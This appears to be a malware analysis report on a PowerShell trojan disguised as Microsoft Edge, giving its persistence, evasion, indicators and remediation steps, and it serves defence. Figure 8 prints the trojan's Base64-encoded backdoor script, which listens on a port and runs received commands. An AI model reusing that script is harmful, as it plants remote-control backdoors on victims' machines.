

"REVERSE" POWERSHELL MALWARE ANALYSIS





Contents

Methodology2
Tools2
Analysis Process2
Binary Overview
Attack Vector
File Analysis
Sandbox Analysis4
Overview Conclusions4
Static Analysis4
PEStudio4
PeStudio5
GHIDRA5
Code Analysis5
Code Analysis6
Static Analysis Conclusions6
Dynamic Analysis6
Process Monitor
Wireshark6
Dynamic Analysis Conclusions7
Conclusions7
Indicators & Signatures7
Remediation Steps7
Appendix

Methodology

Tools

The analysis was carried out using a variety of dynamic and static analysis tools. This section details the tools and their purposes.

Name	Description	Artifacts
PEStudio	PE file examination tool	Binary details and properties
GHIDRA	Disassembly and reverse engineering tool	Code disassembly and binary properties
Process Monitor	Process monitoring tool	List of actions taken by binary
Wireshark	Network monitoring tool	Malicious packets and data transfer
Command-Line Tools	File analysis	File descriptors and binary properties

Analysis Process

The primary goal of this analysis is to provide insight into the operation and observed behaviors of the malicious binary sample provided. The analysis follows several established methods, including a static and dynamic analysis process. All analysis steps take place in an isolated Virtual Machine running the FLARE framework and toolsets. Unless otherwise mentioned, the analysis environment has not been modified past the FLARE defaults. The Virtual Machine operating system is Windows 10.

The analysis process is broadly outlined below.

- I. File Analysis
 - a. Command-Line tools
 - b. Sandbox Analysis
- II. Static Analysis
 - a. PEStudio Analysis
 - b. GHIDRA Disassembly Analysis
 - c. Code Analysis
- III. Dynamic Analysis
 - a. Process Monitor behavioral analysis.
 - b. Wireshark network behavioral analysis.
 - c. Registry artifact analysis.

Certain aspects of the analysis have been tailored to the binary sample. These modifications are noted in the relevant sections.

Binary Overview

Attack Vector

The executable is sent to victim devices through spoofed emails that include a download link hosted on a private server. The observed links have proven to be unique, and access to the server is limited to the victim during the attack process. Thus, the current belief is that the malware is a result of targeted phishing campaigns.

File Analysis

The binary was preliminarily examined via Linux command-line tools in an Ubuntu Windows Subsystem for Linux instance. The following information was gathered.

Command	Binary Name	Executable Type	Language
file	mssedge.exe	PE32 Executable	Mono/.Net assembly

Command	Нех	Description
binwalk	0x0	Microsoft executable, portable
	0x1CA01	LZMA compressed data

Command	Value
md5sum	3475003481c71d31e23beceb1e333298
sha256sum	480f2f51b7c7a6bf25482cc8205d5b3c5e3d7e8661f9576628eab47d995e53bd

Additionally, advanced string analysis tools were used. The full results are included in the report materials. A summary is presented below.

- FLOSS results
 - o 717 static strings
 - \circ 661 ASCII strings
 - o 56 UTF-16LE strings

Notable Imports Description

· · · · ·	
System.Management.Automation	Windows .Net class for automation
System.Windows.Forms	Windows .Net class for form creation
PSCredentialTypes	PowerShell credential management
REQUEST_ADMINISTRATOR	Administrator elevation
FromBase64String	Decoding technique
BeginInvoke	Command invocation

Sandbox Analysis

Online sandboxing tool, VirusTotal was used to perform additional preliminary analysis on the binary sample. Initially, only the hash was used to search the database. However, the hash search did not result in any findings thus the binary was uploaded for further analysis. While uploading binary samples to online sandbox tools may result in tipping threat actors off, it was a necessary action to gain more information before starting an in-depth analysis.

The full VirusTotal report is included in the report materials. A summary is presented below.

Category	Result
Vendor Detection	21/70
Threat type	Generic Malware
Threat Label	Boxter
File Type	Win32 EXE
External Modules	credui, user32.dll, Kernel.dll
Execution	PowerShell, Run PowerShell expression
Defense Evasion	Decode data using Base64 in .NET, Masquerades in user directory
Persistence	Registry RunKeys
Privilege	Registry RunKeys
Escalation	
Discovery	Checks online IP addresses, Reads hosts file, queries processes

Overview Conclusions

The VirusTotal results are in-line with the results from the earlier file analysis. As such, the binary sample is likely a PowerShell script that has been compiled to an executable using the popular module ps2exe. Ps2exe uses the windows forms .NET class to create console-less executables. Additionally, the sample attempts to maintain persistence through registry edits, attempts to steal information such as IP addresses, and includes several evasion techniques.

Static Analysis

PEStudio

Static analysis provides insight into the binary sample without the risk of modifications or detection techniques that dynamic analysis poses. However, static analysis does not provide a complete look at the behavior and function of the malware. PEStudio was used to start the static analysis of the binary sample and is summarized below.

- PEStudio Results
 - 43 Indicators
 - o 588 Functions
 - .NET Namespace
 - o 4 Libraries

The full PEStudio report is included in the report materials. A summary is presented on the next page.

PeStudio

Indicator	Detail	Level
File > privilege > level	Administrator	1
.NET > namespace > flag	System.Security	1
String > size > suspicious	8812 bytes	2
Function > group	Obfuscation	3

Function	Namespace	Flagged	Group	Library
SecureString	System.Security	Yes	Security	mscoree.dll
CredUIPromptForCredentials	-	Yes	Cryptography	credui

The functions imported both deal with security management in Windows. Specifically, they are required imports when elevating to administrator privileges. Additionally, the indicators pulled out by PEStudio further demonstrate the binary sample has built-in evasion tactics. The file size indicator is notable as well, as the executable masquerades as Microsoft Edge (msedge.exe). The file size of the malware does not match the expected size of the legitimate msedge.exe file.

GHIDRA

Further static analysis was performed with GHIDRA. While GHIDRA was unable to properly disassembly the sample, some useful information was obtained through the analysis. Using the type search function in GHIDRA, Unicode data was extracted. At location 00408a28, a Base64 encoded Unicode string was found. Using decoding tools, the Base64 string was decoded. The output of the decoding process was a PowerShell expression that executed an encoded Base64 string. Through further decoding the string used in the command, the binary's code was extracted. All strings are provided in the report materials.

Code Analysis

Code analysis began after the code was successfully extracted. The full code is included in the report materials. A summary is presented below.

Parameter	Description
Run	Boolean parameter set to True when run as a
	service or on startup
Elevated	Detects admin privileges
Persistence Mechanism	Description
Persistence Mechanism Registry Key creation	Description Registry run keys are created to auto start an
Persistence Mechanism Registry Key creation	Description Registry run keys are created to auto start an instance of the malware on device startup
Persistence Mechanism Registry Key creation Service Creation	Description Registry run keys are created to auto start an instance of the malware on device startup A service is created that launches the malware

Code Analysis

Evasion Mechanism	Description
Relocation	Malware relocates into the Microsoft Edge directory
Obfuscation	Script is encoded in Base64 and decoded on execution
Masquerading	Malware runs the legitimate edge executable when manually launched

Process	Description
Socket Creation	A socket is created using the
	System.Net.Sockets.TcpListener .NET class
Connection	Using the socket, the malware listens on port
	12345 on all local addresses
Execution	When receiving a command, the server executes
	the command and returns the result

Static Analysis Conclusions

Through the static analysis process, and the code analysis process, the function of the malware has been determined. Firstly, the malware hides itself in the legitimate edge executable location. This is to mask the process when investigated. Secondly, the malware creates firewall rules to allow itself network access. It then creates a service and run key to establish persistence. When manually launched, the malware appears to operate as a legitimate edge process. It calls the edge executable and creates a legitimate instance of it. In the background, the malware opens a PowerShell session and begins to listen on tcp port 1234. When a command comes in, it executes the command in the PowerShell session and returns the output.

Dynamic Analysis

Process Monitor

Moving into dynamic analysis, Process Monitor was used to log the actions the malware took while running. The malware initially accesses a set of security related registry keys at

HKLM\System\CurrentControlSet\Control\WMI\Security. This is likely the first check for administrative capabilities. It then begins to import .NET framework files at

HKLM\SOFTWARE\Microsoft\.NETFramework. It then uses HKLM\SOFTWARE\Microsoft\Cryptography to begin the decoding of the expression. During the execution of the malware, the registry hive HKLM\SOFTAWRE\Microsoft\.NETFramework\v4.0.30319 is used to manage the server connection. The keys used are UseHttpPipeliningAndBufferPooling, HWRPortReuseOnSocketBind, and other connection keys. When executing commands, it uses the HKCR\exefile\shell\open\command keys.

The full Process Monitor log is included in the report materials.

Wireshark

Using Wireshark to monitor the TCP stream associated with malware process further demonstrated the functionality of the malware. The TCP server created by the malware is unencrypted. Therefore, by intercepting or sniffing the packets, the client<->server communications can be intercepted and read in

plaintext. If the TCP stream is identified, Wireshark can pull all of the commands that were sent from the client. Additionally, there is no built-in obfuscation of the client address. This makes it easy to trace the client IP and create indicators and signatures to look for.

The full Wireshark log is included in the report materials.

Dynamic Analysis Conclusions

Using the dynamic analysis tools, the full functionality of the malware has been made clear. It is a trojan that masquerades as a legitimate Microsoft Edge process. When it's run, the malware creates a TCP server that listens for commands from a client. The commands are then executed and returned to the client. This type of reverse shell is often used to exfiltrate secrets from devices.

Conclusions

Indicators & Signatures

Indicator	Descriptor
mssedge.exe	The name of the executable analyzed
TCP traffic on port 12345	The port used for the reverse shell communications
PowerShell command execution logs	Command execution logs from sessions that have not been legitimately launched
HKCU\Software\Microsoft\Windows\CurrentVersion\Run	Modifications to the Run keys
MicrosoftEdgeUpdater service	The service created by the malware

Remediation Steps

Remediation is relatively simple for this piece of malware. The following steps are advised.

Step	Command	Description
Stop the	Stop-Process (Get-Process -Name mssedge).ID	Stop the server
malicious		process
process		
Remove the	rm	Remove the
Registry	HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\mssedge	run key that
Run key		auto starts the process
Remove the service	(Get-WmiObject -Class Win32_Service -Filter "Name='MicrosoftEdgeUpdater'").delete()	Remove the service created by the malware

Appendix

mssedae.exe:	:~/Mal PE32 executable :~/Mal	ware\$ file mssedge.exe (GUI) Intel 80386 Mono/.Net assembly, for MS Windows ware\$ binwalk mssedge.exe
DECIMAL	HEXADECIMAL	DESCRIPTION
0 22903 116667 117249 : 944766976	0x0 0x5977 0x1C7BB 0x1CA01 Dytes	Microsoft executable, portable (PE) Copyright string: "CopyrightAttribute" XML document, version: "1.0" LZMA compressed data, properties: 0xD0, dictionary size: 786432 bytes, uncompressed size

Figure 1 - File analysis output

FLARE FLOSS RESULTS (version v2.2.0-0-g783dd8f)									
file path extracted strings static strings stack strings tight strings decoded strings	mssedge.exe 717 0 0 0								
FLOSS ASCII STRINGS (661)									
!This program cannot be ru #bId .text `.rsrc @.reloc *.(' PAs* MY(A GXs6 :	ın in DOS mode.								

Figure 2 - FLOSS Result Summary

🔽 petudio 943 - Malware Initial Assessment - www.winitor.com [c/users/bajin/desktop/mszedge.exe] – 🗆 X									
file settings about									
≌∃ × 8 ?									
C:\users\bajiri\desktop\mssedge.exe	indicator (42)	detail	level						
indicators (43)	functions > name > flag	2	1						
Virustotai (21/70)	strings > flag	4	1						
dos-neader (64 bytes)	.NET > namespace > flag	System.Security	1						
b rich header (n/a)	file > privilege > level	administrator	1						
b file-beader (Intel-295)	string > size > suspicious	8812 bytes	2						
 b. ontional-header (GUI) 	.NET > stream	#Blob	3						
directories (5)	.NET > stream	#GUID	3						
b sections (3)	.NET > stream	#Strings	3						
libraries (4)	.NET > stream	#US	3						
functions (588)	.NET > stream	# ~	3						
	entry-point > location	0x0000D84E	3						
tls-callback (n/a)	file > image-base	0x00400000	3						
	file > size	117760 bytes	3						
resources (4)	.NET > methods > managed	125	3						
abc strings (size)	strings > count	1476	3						
X debug (n/a)	.NET > libraries > unmanaged	3	3						
	resources > instances > standard	4	3						
	strings > unicode > dotnet	42	3						
🕒 overlay (n/a)	NFT > methods > unmanaged	5	3						
	file > alignment	512 hyter	2						
	recourses > file ratio	50 2097	3						
	resources > nie-ratio	20.20%	3						
	functions > count	200	3						
	strings > ascii > dotnet	<u>610</u>							
	dos-stub > size	<u>b4 bytes</u>	3						
	section > alignment	8192 bytes	3						
	file > subsystem	GUI	3						
	file > signature	Microsoft .NET	3						
	.NET > namespace > custom	ModuleNameSpace	3						
	file > score > error	The operation completed successfully.	3						
	file > os > target	Windows NT 4.0	3						
	security > protection	address-space-layout-randomization (ASLR) > ON	3						
	resources > manifest	available	3						
	function > group	console	3						
	security > protection	control-flow-guard (CFG) > OFF	3						
	function > group	cryptography	3						
	security > protection	data-execution-prevention (DEP) > ON	3						
	function > group	file	3						
	file > name > original	mssedge.exe	3						
	function > group	obfuscation	3						
	.NET > property > missing	typelibld	3						
	strings > hint	utility	3						
	strings > hint	utility	3						
sha256: 480F2F51B7C7A6BF25482CC8205D5B3C5E3D7E86	561F9576628EAB47D995E53BD cpu: 32-bit f	ile-type: executable subsystem: GUI	entry-point: 0x0000D84E	signature: Microsoft .NET					

Figure 3 - PEStudio results

gestudio 9.43 - Malware Initial Assessment - www	w.winitor.com [c:\users\bajiri\deskto	p\mssedge.exe]						-	
file settings about									
※ ■ × 自 ?									
□ 😳 c:\users\bajiri\desktop\mssedge.exe	functions (588)	namespace (21)	flag (2)	group (6)	type (13)	ordinal (0)	library (4)		^
	SecureString	System.Security	x	security	TypeRef		mscoree.dll		
···· virustotal (21/70)	CredUIPromptForCredentials		x	cryptography	ImplMap		credui		
→ dos-header (64 bytes)	MB GetString				ImplMap		user32.dll		
dos-stub (64 bytes)	ToUnicode				ImplMap		user32.dll		
P rich-neader (http://2000)	mssedge				Assembly		mscoree.dll		
P file-neader (intel-360)	mscorlib				AssemblyRef		mscoree.dll		
directories (5)	System.Management.Autom				AssemblyRef		mscoree.dll		
b sections (3)	System.Windows.Forms				AssemblyRef		mscoree.dll		
ibraries (4)	System.Drawing				AssemblyRef		mscoree.dll		
functions (588)	System				AssemblyRef		mscoree.dll		
	chSize				Field		mscoree.dll		
	hwndParent				Field		mscoree.dll		
	nszMessageText				Field		mscoree.dll		
a resources (4)	nszCantionText				Field	-	mscoree.dll		
abc strings (size)	hhmBanner				Field	-	mscoree dll		
	value				Field		miscoree dll		
anifest (administrator)	INCORPECT PASSWORD				Field		miscoree.dll		
version (mssedge.exe)	DO NOT DEPSIST				Field		mscoree.dll		
overlay (n/a)	PEOLIEST ADMINISTRATOR				Field		mscoree.dll		
	EVCLUDE CERTIFICATES				Field		mscoree.dll		
	PEOLIPE CERTIFICATE				Field		mscoree.dll		
	REQUIRE CERTIFICATE				Field		mscoree.uii		
	ALWAYS SHOW U				Field		mscoree.ull		
	RECURPT SHARPTCARD				Field		mscoree.dll		
	REQUIRE SMARICARD				Field		mscoree.dll		
	PASSWORD UNLY OK				Field		mscoree.dll		
	COMPLETE USERNAME				Field		mscoree.dll		
					Field		mscoree.dll		
	PERSIST				Field		mscoree.dll		
	SERVER CREDENTIAL				Field		mscoree.dll		
	EXPECT CONFIRMATION				Field		mscoree.dll		
	GENERIC CREDENTIALS				Field		mscoree.dll		
	USERNAME TARGET CREDE				Field		mscoree.dll		
	KEEP USERNAME				Field		mscoree.dll		
	NO ERROR				Field		mscoree.dll		
	ERROR CANCELLED				Field		mscoree.dll		
	ERROR NO SUCH LOGON S				Field		mscoree.dll		
	ERROR NOT FOUND				Field		mscoree.dll		
	ERROR INVALID ACCOUNT				Field		mscoree.dll		
	ERROR INSUFFICIENT BUFFER				Field		mscoree.dll		
	ERROR INVALID PARAMETER				Field		mscoree.dll		
	ERROR INVALID FLAGS				Field		mscoree.dll		
	User				Field		mscoree.dll		
	Password				Field		mscoree.dll		
	Domain				Field		mscoree.dll		
	GUIBackgroundColor				Field		mscoree.dll		~
sha256: 480F2F51B7C7A6BF25482CC8205D5B3C5E3D7	E8661F9576628EAB47D995E53BD	cpu: 32-bit file-ty	pe: executable	subsystem: G	UI	entry-point: 0x00	00D84E	signature: Microsoft .NET	

Figure 4 - PEStudio results

🗹 pestudio 9.43 - Malware Initial Assessment - www.winitor.com [c\users\bajin\desktop\mssedge.exe] – 🗌 X										
file settings about										
S ■ X ■ ?										
□ 🔁 c:\users\bajiri\desktop\mssedge.exe	property	detail						^		
Jul indicators (43)	II -library	false								
virustotal (21/70) 22 his apprint		false								
> dos-header (64 bytes)	22-bit-proformed	false								
dos-stub (64 bytes)	strong name signed	false								
… ▷ rich-header (n/a)	track debug data	false								
> file-header (Intel-386) track-debug-data		false								
optional-header (GUI)	hauve-entry-point	a so								
👪 directories (5)	neap-sizes	0x00						- 11		
b sections (3)	(- 11		
	namespace (system)	items						- 11		
	System	35						- 11		
	System.Management.Automatio	13						- 11		
o tis-callback (n/a)	System.Windows.Forms	24						- 11		
La .NET (namespace)	System.Text	2						- 11		
esources (4)	System.Management.Automation	14						- 11		
abc strings (size)	System.Collections.ObjectModel	1						- 11		
····· (DC debug (n/a)	System.Collections.Generic	3								
manifest (administrator)	System.Drawing	2								
	System.Security	1								
····· 🔲 overlay (n/a)	System.Globalization	1								
	System.Runtime.InteropServices	7								
	System.Reflection	11								
	System.Runtime.CompilerServices	3								
	System.Collections	1								
	System.ComponentModel	1								
	System.Threading	5								
	System.Management.Automatio	2								
	System.Diagnostics	1								
	System.IO	1								
	System.Text.RegularExpressions	5								
	namespace (custom)	items								
	ModuleNameSpace	11								
	stream	size								
	#~	7084 bytes								
	#Strings	8632 bytes								
	#US	18832 bytes								
	#GUID	16 bytes								
	#Blob	2060 bytes								
	table	items								
	Module	1								
	TypeRef	141								
	TypeDef	23								
	Field	87						~		
sha256: 480F2F51B7C7A6BF25482CC8205D5B3C5E3D7E866	51F9576628EAB47D995E53BD	cpu: 32-bit file-type: exe	cutable subsyst	em: GUI	entry-point: 0x0000D84E	signature: Microsoft .NET				

Figure 5 - PEStudio results

nssedge.exe						h	😼 🛱 🛃 💩	-	×
		11							^
	DE 0-0	(D= f==1=)							
	assume Dr = 0x0	(Delault)	B. 00400000	VDEEL	11. 004000b4(#)				
	00400000 4d Eo 00	IMAGE_DUS_READE	R_00400000	AREF [I]: 004000b4(*)				
	00400000 40 58 90	THAGE_DO							
	00 00 04								
6—	00400000 4d 5a	char[2]	"M7."	e magic		XREFILL	00400054(*)		
I T k	- 00400000 [0]	'M'. '	Z'	C_mdg10					
	00400002 90 00	dw	90h	e cblp	Bytes of last page				
	00400004 03 00	dw	3h	e cp	Pages in file				
	00400006 00 00	dw	0h	e crlc	Relocations				
	00400008 04 00	dw	4h	e cparhdr	Size of header in				_
	0040000a 00 00	dw	0h	e_minalloc	Minimum extra para				
	0040000c ff ff	dw	FFFFh	e_maxalloc	Maximum extra para				
	0040000e 00 00	dw	0h	e_ss	Initial (relative)				
	00400010 b8 00	dw	B8h	e_sp	Initial SP value				
	00400012 00 00	dw	0h	e_csum	Checksum				
	00400014 00 00	dw	0h	e_ip	Initial IP value				
	00400016 00 00	dw	0h	e_cs	Initial (relative)				
	00400018 40 00	dw	40h	e_lfarlc	File address of re				
	0040001a 00 00	dw	0h	e_ovno	Overlay number				-
⊡	0040001c 00 00 00	00 00 dw[4]		e_res[4]	Reserved words				
	00 00 00								
	00400024 00 00	dw	0h	e_oemid	OEM identifier (fo				
	00400026 00 00	dw	0h	e_oeminfo	OEM information; e				
□	00400028 00 00 00	00 00 dw[10]		e_res2[10]	Reserved words				
	00 00 00	00 00							
	00 00 00	00 00							
	0040003c 80 00 00	00 ddw	80h	e_lfanew	File address of ne				-
±	00400040 Oe lf ba	0e 00 db[64]		e_program	Actual DOS program				
	b4 09 cd	21 b8							
	01 4c cd	21 54							
±	00400080 50 45 00	IMAGE_NT			= D824h				
	00 4c 01				= D000h				×

Figure 6 - GHIDRA Disassembly

🖕 Location References Provider [Uses of "unicode32" (Data Type) - 0 locations, Uses of "unicode" (Data Type) - 53 locations] [CodeBrowser: hw4:/mssedge.exe] — 🗆						
Edit Help						
Uses of "unicode" (DataType) -	S3 locations	🖪 🔁 🗡				
Location	Code Unit	Δ				
004088a2	unicode u"*" (#US.(251))	CL /				
00408a17	unicode u"-debug" (#US.[3c6])	CL				
00408a0d	unicode u"-end" (#US.[3bc])	CL				
004088e8	unicode u"-extdummt" (#US.[297])	CL				
004088cc	unicode u"-whatt" (#US.[27b])	CL				
004087e4	unicode u"1" (#US.[193])	CL				
0040890e	unicode u":" (#US.[2bd])	CL				
004087fe	unicode u"Add" (#US.[lad])	CL				
0040869e	unicode u"Cancel" (#US.[4d])	CL				
0040cf86	unicode u"Click OK to exit" (#US.[4935])	CL				
0040cf48	unicode u"False" (#US.[40f7])	CL				
00408913	unicode u"If you spzzcify thzz -zzxtract option you nzzed to add a filzz for zzxtraction in this way\r\n -zzxtract:\" <filzznamzz>\"" (#US.[2cl])</filzznamzz>	CL				
00408676	unicode u"Input: " (#US.[25])	CL				
00408a28	unicode u"JHN0ciASIFtTeXN02W0uVGV4dC5FbmNvZG1u210601VURjguR2V0U3RyaW5nKFtTeXN02W0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIFtTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIFtTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0uQ2SudmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0uQ2SUdmVydF060kZyb21CYXN1NjRTdHJpbmcoIk1DQWdJQ01nVTJ0eWFYQjBJQTBL0ASIftTeXN0ZW0UQASIftTeXN0XW0UQASIf	Y CL				
00408698	unicode u"OK" (#US.[47])	CL				
004088a6	unicode u"PSRunspace-Host" (#US.[255])	CL				
004086b0	unicode u"Press a key" (#US.[5f])	CL				
00408758	unicode u"Remaining time: " (#US.[107])	CL				
00408654	unicode u"Secure input: " (#US.[3])	CL,				
Filter:		🙆 🛱 '				
Uses of "unicode32" (D ×	Uses of 'unicode' (Dat ×					

Figure 7 - GHIDRA type search results

17c2Vk72Uu7Xh]Tg0Kf00KD0oiTE1ha2Ugc2Vvdm]i700KaWYoTShH7X0tU2Vvdm]i7SB8TD8gTmEt7S&t7XFgTk1nY31vc29mdEVk72VvC6RhdGVvTiknew0KTC&gTE5]dv1T7X12aWN]TC10YW1]TC1Na WNyb3NvZnRFZGdlVXBkYXRlciIgLURpc3BsYXlOYW1lICJNaWNyb3NvZnQgRWRnZSBVcGRhdGUgU2VydmljZSIgLUJpbmFyeVBhdGhOYW1lICJDOlxQcm9ncmFtIEZpbGVZICh4ODYpXE1pY3Jvc29mdFxF ZGdlXEFwcGxpY2F0aW9uXG1zc2VkZ2UuZXhlIC15dW4iIC1TdGFydHVwVHlwZSAiQXV0b21hdGljIiAtRGVzY3JpcHRpb24gIk1pY3Jvc29mdCBFZGdlIHVwZGF0ZSBzZXJ2aWNlIg0KfQ0KDQojIE1ha2U gcmVnaXN0cnkgZW50cnkgDQppZighKFRlc3QtUGF0aCBIS0NV01xTb2Z0d2FyZVxNaWNyb3NvZnRcV21uZG93c1xDdXJyZW50VmVyc21vb1x5dW5cbXNzZWRnZSkpew0KICAgIE51dy1JdGVtIC1QYXRoIE hLQ1U6XFNvZnR3YXJ1XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAtTmFtZSBtc3NlZGdlIC1Gb3JjZQ0KICAgIFNldC1JdGVtIC1QYXRoIEhLQ1U6XFNvZnR3YXJ1XE1pY3Jvc29md FxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1blxtc3NlZGdlIC1WVWx1ZSAnIk1pY3Jvc29mdCBFZGdlIj0iQzpcUHJvZ3JhbSBGaWx1cyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHBsaWNhdGlvblxtc3Nl ZGdlLmV4ZSAtUnVuIicNCn0NCg0KIyBTd210Y2ggYXQgc29tZSBwb2ludCB0byBnZW5lcmF0ZSBpbmZvIGR5bmFtaWNhbGx5DQppZigkSG9tZUFkZHIgLWVxICRudWxsIC1PciAkSG9tZVBvcnQgLWVxICR udWxsKXsNCiMgICAgIFdyaXRlLUhvc3QgIlNwZWNpZnkgaG9tZSBhZGRyZXNzIGFuZCBwb3J0Ig0KIyAgICAgV3JpdGUtSG9zdCAiSG9tZSBBZGRyZXNzOiAiIC10b05ld0xpbmUNCiMgICAgICRIb211QW RkciA9IFJlYWQtSG9zdA0KIyAgICAgV3JpdGUtSG9zdCAiSG9tZSBQb3J00iAiIC10b05ld0xpbmUNCiMgICAgICRIb21lUG9ydCA9IFJlYWQtSG9zdA0KIyBGb3IgcHJhY3RpY2FsIHB1cnBvc2VzLCBia W5kIG9uIGFsbCBhZGRyZXNzZXMgDQojIE1kZWFsbHksIHRoZSBwb3J0IHdvdWxkIGJ1IGNob3N1biBhdCBnZW51cmF0aW9uLiBIb3d1dmVyLCBJJ20ga2V1cG1uZyBpdCAxMjM0NSBmb3IgdGVzdG1uZy4g DOokSG9tZUFkZHIgPSAiMC4wLjAuMCINCiRIb21lUG9ydCA9IDEyMzQ1DQp9DQoNCiMgSURLLCBzZW5kIHRoaXMgYWZ0ZXIgc2VydmVyIGlzIGVzdGFibGlzaGVkIGlnDQojIE1vcmUgb24gdGhpcyBsYXR lcg0KJEhvbWVFeH0gPSAoaW52b2tlLXdlYnJlcXVlc3OgLXVvaSBpZmNvbmZpZv5tZ5ku029udGVudA0KD0oiIE5ldvBU01AgTGlzdGVuZXIgb2JaZWN0D0okU2VvdmVvID0gTmV3LU9iamVidCBTeXN0ZW 0UTmV0LlNvY2tldHMuVGNwTGlzdGVuZXIoJEhvbMvBZGRyLCAkSG9tZVBvcnQpDQojIE5ldyBCdWZmZXIgb2JqZWN0IHRVIGhvbGQgdGhlIGNvbnZlcnRlZCBtZXNzYWdlcyBpbiBieXRlcw0KJEJ1ZmYgP SB0ZXctt2JqZWN0IFN5c3Rlb55CeXRlW10gMTAyNA0KIyBPYmplY3QgdG8gYXNjaWkgZW5jb2RlIHRoZSBtZXNzYWdlcw0KJEVuYyA9IE5ldy1PYmplY3QgU3lzdGVtLlRleHQuQXNjaWlFbmNvZGluZw0K IyBTdGFydCB0aGUgc2VydmVyDQp0cn17DQogICAgJFN1cn21ci5zdGFydCgpDQogICAgIyBTdGFydCB1ZGd1HRvIGhpZGUgdGh1IHByb2N1c3MNCiAgICAjIGRvbid0IHN0YXJ0IG1mIHNjcmlwdCBpcyB ydW5uaW5nIGF1dG9tYXRpY2FsbHkNCiAgICBpZigkUnVuIC11cSAkRmFsc2Upew0KICAgICBzdGFydC1wcm9jZXNzICJD01xQcm9ncmFtRGF0VVxNaWNyb3NvZnRcV21uZG93c1xTdGFydCBNZW51XF Byb2dyYW1zXE1pY3Jvc29mdCBFZ6dllmxuayINCiAgICB9DQogICAgIyBGb3JldmVyDQogICAgd2hpbGUgKCR0cnVlKXsNCiAgICAgICBgIyBBY2NlcHQgYSBjbGllbnQNCiAgICAgICAgICBsaWVudCA9I CRTZXJ2ZXIuQWNJZXB0VGNwQ2xpZW50KCkNCiAgICAgICAgIQBHZXQgdGhlIGNsaWVudCBtZXNzYWdlIHN0cmVhbQ0KICAgICAgICAkU3RyZWFtID0gJENsaWVudC5HZXRTdHJlYW0oKQ0KICAgICAgICAj IFdoaWxlIHRoZSBieXRlIHN0cmVhbSBpcyBub3QgMCAoZS5nLiwgc3RpbGwgaW5jb21pbmcpDQogICAgICAgIHdoaWxlICgoJGkgPSAkU3RyZWFtLlJlYWQoJEJ1ZmYsMCwkQnVmZi5MZW5ndGgpKSAtbmU gMC17DQogICAgICAgICAgICAJIENvbnZlcnQgdGhlIGJ5dGVZIHRvIHN0cmluZw0KICAgICAgICAgICAgICAgICAgJ5lc3AgPSAkRW5jLkdldFN0cmluZygkQnVmZiwwLCRpKQ0KICAgICAgICAgICAgICAgIGAgJ9RdWl0IG XhwcmVzc2lvbiAkUmVzcCB8IG91dC1TdHJpbmcpDQogICAgICAgICAgICAgICAgICAgIBbmNvZGUgdGhlIGNvbW1hbmQgb3V0cHV0DQogICAgICAgICAgICAgICAgIERhdGEgPSAkRW5jLkdldEJ5dGVzKCRD b21tkQ0KICAgICAgICAgICAgICAgICCbGFuayA9IE5ldy1PYmplY3QgYnl0ZVtdIDEwMjQNCiAgICAgICAgICAgICAkRW5KID0gJEVuYy5HZXRCeXRlcygiRW5kTWVzc2FnZSIpDQogICAgICAgICA gICAgICAgIyBTZW5kIGl0IHRvIHRoZSBjbGllbnQNCiAgICAgICAgICAgICAkU3RyZWFtLldyaXRlKCREYXRhLDAsJERhdGEuTGVuZ3RoKQ0KICAgICAgICAgICAgICRTdHJlYW0uV3JpdGUoJE udVxQcm9ncmFtc1xNaWNyb3NvZnQgRWRnZS5sbmsiDQogICAgfQ0KfQ0KDQo="))cm

Invoke-Expression \$str

Figure 8 - Base64 Encoded script block

	tcp.stream eq 29				
N	o. Time	Source	SrcPort Destination	Protocol	Length Info
4	3363 21.638911	192.168.142.1	63299 192.168.142.146	TCP	66 63299 → 12345 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
	3364 21.639046	192.168.142.146	12345 192.168.142.1	TCP	66 12345 → 63299 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=256 SACK_PERM=1
	3365 21.639237	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=1 Ack=1 Win=1051136 Len=0
ш	3387 25.408720	192.168.142.1	63299 192.168.142.146	TCP	61 63299 → 12345 [PSH, ACK] Seq=1 Ack=1 Win=1051136 Len=7
ш	3388 25.454302	192.168.142.146	12345 192.168.142.1	TCP	54 12345 → 63299 [ACK] Seq=1 Ack=8 Win=2102272 Len=0
ш	3389 25.512803	192.168.142.146	12345 192.168.142.1	TCP	78 12345 → 63299 [PSH, ACK] Seq=1 Ack=8 Win=2102272 Len=24
